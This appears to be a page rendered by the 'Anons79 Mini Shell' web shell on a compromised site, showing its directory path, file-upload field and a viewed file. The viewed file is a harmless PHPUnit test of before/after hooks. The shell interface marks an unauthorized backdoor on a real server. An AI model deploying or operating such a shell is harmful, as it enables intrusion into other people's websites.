Anons79 Mini Shell

Directory : /home/proudlyafrican/public_html/vendor/phpunit/phpunit/tests/_files/
Upload File :
Current File : /home/proudlyafrican/public_html/vendor/phpunit/phpunit/tests/_files/BeforeAndAfterTest.php

<?php
class BeforeAndAfterTest extends PHPUnit_Framework_TestCase
{
    public static $beforeWasRun;
    public static $afterWasRun;

    public static function resetProperties()
    {
        self::$beforeWasRun = 0;
        self::$afterWasRun  = 0;
    }

    /**
     * @before
     */
    public function initialSetup()
    {
        self::$beforeWasRun++;
    }

    /**
     * @after
     */
    public function finalTeardown()
    {
        self::$afterWasRun++;
    }

    public function test1()
    {
    }
    public function test2()
    {
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]